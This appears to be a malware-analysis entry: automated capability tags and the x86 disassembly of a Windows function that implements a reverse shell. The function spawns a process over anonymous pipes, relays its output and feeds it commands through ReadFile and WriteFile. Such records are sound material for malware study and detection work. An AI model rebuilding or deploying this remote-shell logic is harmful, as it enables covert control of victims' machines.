Function at 0x403b42
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x464ad0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x403b9a
push 0x464ad0
call fcn.00429739
pop ecx
cmp dword [0x464ad0], esi
jne 0x403b9a
push ebx
mov ecx, 0x464a20
call fcn.0040151a
push 0x44980d
call fcn.004295f6
mov dword [esp], 0x464ad0
call fcn.004296fa
pop ecx
mov eax, dword [0x464ab0]
cmp eax, dword [edi + 4]
jle 0x403bd7
mov edi, 0x464ab0
push edi
call fcn.00429739
pop ecx
cmp dword [0x464ab0], esi
jne 0x403bd7
mov ecx, 0x464ad8
call fcn.004021ef
push 0x449803
call fcn.004295f6
pop ecx
push edi
call fcn.004296fa
pop ecx
lea ecx, [ebp - 0x24]
call fcn.004021ef
mov edi, 0x4630e8
mov dword [ebp - 4], ebx
cmp byte [0x462a4b], bl
jne 0x403d63
mov edx, 0x4564e8
mov ecx, edi
call fcn.00403fbe
test al, al
je 0x403eda
push 0x4564f0
call fcn.0042fcfd
pop ecx
mov esi, 0x464ad8
push eax
mov ecx, esi
call fcn.00403f5a
push str._nF2
mov ecx, esi
call fcn.00402caf
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov edi, 0x4649c8
push ebx
push edi
push 0x464ab4
push 0x464acc
mov dword [0x4649c8], 0xc
mov dword [0x4649d0], 1
mov dword [0x4649cc], ebx
call esi
test eax, eax
je 0x403f04
push ebx
push edi
push 0x464ad4
push 0x464ab8
call esi
test eax, eax
je 0x403f04
push 0x44
pop esi
push esi
push ebx
mov edi, 0x4649d8
push edi
call fcn.0042c2a0
add esp, 0xc
mov dword [0x4649d8], esi
xor eax, eax
mov dword [0x464a04], 0x101
mov word [0x464a08], ax
mov ecx, 0x464ad8
mov eax, dword [0x464acc]
push 0x464abc
mov dword [0x464a10], eax
mov eax, dword [0x464ad4]
push edi
mov dword [0x464a14], eax
mov dword [0x464a18], eax
call fcn.0040204e
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x4630e8
push ebx
mov ecx, esi
call fcn.0040204e
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x4564e4
setne byte [0x462a4b]
call fcn.00403f5a
mov ecx, 0x464a20
mov byte [0x462a6c], 1
call fcn.00401671
sub esp, 0x10
mov esi, 0x462a50
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x464a20
mov ecx, esi
call fcn.0040170d
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00402206
push 0x93
mov ecx, esi
call fcn.004018ed
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x462a4b], bl
je 0x403eda
mov edi, 0x4630e8
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x464ab8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x403e1f
push dword [ebp - 8]
call fcn.0042fa66
pop ecx
push ebx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push edi
push dword [0x464ab8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x403e11
cmp dword [ebp - 4], ebx
jbe 0x403de0
push dword [ebp - 4]
lea ecx, [ebp - 0x24]
call fcn.0040204e
push eax
push edi
call fcn.0042fa80
add esp, 0xc
test eax, eax
jne 0x403de0
push edi
lea ecx, [ebp - 0x3c]
call fcn.0040219e
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x403df2
push edi
lea ecx, [ebp - 0x3c]
call fcn.0040219e
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x3c]
push eax
call fcn.00403f63
push 0x62
mov ecx, 0x464a20
call fcn.004018ed
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.004020b7
push edi
call fcn.0042f837
pop ecx
mov edi, 0x4630e8
jmp 0x403e3c
sub esp, 0x18
mov ecx, esp
push 0x4564e4
call fcn.0040219e
push 0x62
mov ecx, 0x464a20
call fcn.004018ed
mov esi, eax
movzx eax, byte [0x462a6c]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, edi
mov byte [0x462a6c], al
call fcn.00402046
test eax, eax
je 0x403e9e
push 0x456500
mov ecx, edi
call fcn.00402caf
push edi
lea ecx, [ebp - 0x24]
call fcn.0040209d
push ebx
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.00402046
push eax
mov ecx, edi
call fcn.0040204e
push eax
push dword [0x464ab4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x4564e4
mov ecx, edi
call fcn.00403f5a
jmp 0x403ea1
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x462a6c], bl
jne 0x403d63
push ebx
push dword [0x464abc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x464ac0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x464abc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x464a20
call fcn.00401c54
push dword [0x464ab8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x464ad4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x462a4b], bl
mov bl, 1
lea ecx, [ebp - 0x24]
call fcn.004020b7
lea ecx, [ebp + 8]
call fcn.004020b7
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret